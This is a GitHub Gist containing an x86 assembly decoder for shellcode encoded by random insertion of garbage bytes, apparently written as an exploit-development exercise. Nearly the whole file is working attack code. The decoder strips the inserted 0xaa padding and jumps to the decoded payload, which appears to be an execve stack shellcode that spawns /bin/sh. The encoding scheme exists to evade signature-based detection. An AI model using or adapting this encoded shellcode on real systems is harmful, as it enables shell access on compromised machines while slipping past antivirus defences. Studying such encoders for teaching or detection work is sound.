Last active
February 5, 2019 09:02
-
-
Save AdityaChaudhary/cc0685d370ee1491699616fd0988c4b9 to your computer and use it in GitHub Desktop.
Assembly Decoder for random insertion encoded shellcodes
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; Decoder Execve Stack Shellcode | |
; Author: Aditya Chaudhary | |
; Date: 5th Feb 2019 | |
global _start | |
section .text | |
_start: | |
xor eax, eax | |
mov ebx, eax | |
mov ecx, eax | |
mov edx, eax | |
jmp short call_shellcode | |
decoder: | |
pop esi | |
mov cl, 0x1e ; 30 | |
;lea eax, [eax + 0x1] | |
decode_shellcode: | |
inc bl | |
inc al | |
push ecx | |
mov cl, byte [esi + eax] ; ecx = loop counter for inserted garbage 0xaa | |
hop: | |
inc eax | |
loop hop ; loop over the garbage 0xaa | |
inc eax | |
pop ecx ; reset the loop counter to the actual shellcode length (shellcode length before encoding) | |
mov dl, byte [esi + eax] ; move shellcode shellcode byte to dl | |
mov byte [esi + ebx], dl ; place the shellcode byte in order | |
loop decode_shellcode | |
jmp esi ; pass the control to the decoded shellcode | |
call_shellcode: | |
call decoder | |
EncodedShellcode: db 0x31,0x03,0xaa,0xaa,0xaa,0xc0,0x03,0xaa,0xaa,0xaa,0x50,0x02,0xaa,0xaa,0x89,0x02,0xaa,0xaa,0xe2,0x02,0xaa,0xaa,0x68,0x04,0xaa,0xaa,0xaa,0xaa,0x62,0x03,0xaa,0xaa,0xaa,0x61,0x05,0xaa,0xaa,0xaa,0xaa,0xaa,0x73,0x03,0xaa,0xaa,0xaa,0x68,0x01,0xaa,0x68,0x05,0xaa,0xaa,0xaa,0xaa,0xaa,0x62,0x03,0xaa,0xaa,0xaa,0x69,0x01,0xaa,0x6e,0x02,0xaa,0xaa,0x2f,0x01,0xaa,0x68,0x02,0xaa,0xaa,0x2f,0x02,0xaa,0xaa,0x2f,0x04,0xaa,0xaa,0xaa,0xaa,0x2f,0x02,0xaa,0xaa,0x2f,0x03,0xaa,0xaa,0xaa,0x89,0x05,0xaa,0xaa,0xaa,0xaa,0xaa,0xe3,0x05,0xaa,0xaa,0xaa,0xaa,0xaa,0x50,0x05,0xaa,0xaa,0xaa,0xaa,0xaa,0x53,0x03,0xaa,0xaa,0xaa,0x89,0x04,0xaa,0xaa,0xaa,0xaa,0xe1,0x05,0xaa,0xaa,0xaa,0xaa,0xaa,0xb0,0x04,0xaa,0xaa,0xaa,0xaa,0x0b,0x01,0xaa,0xcd,0x03,0xaa,0xaa,0xaa,0x80,0x04,0xaa,0xaa,0xaa,0xaa |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment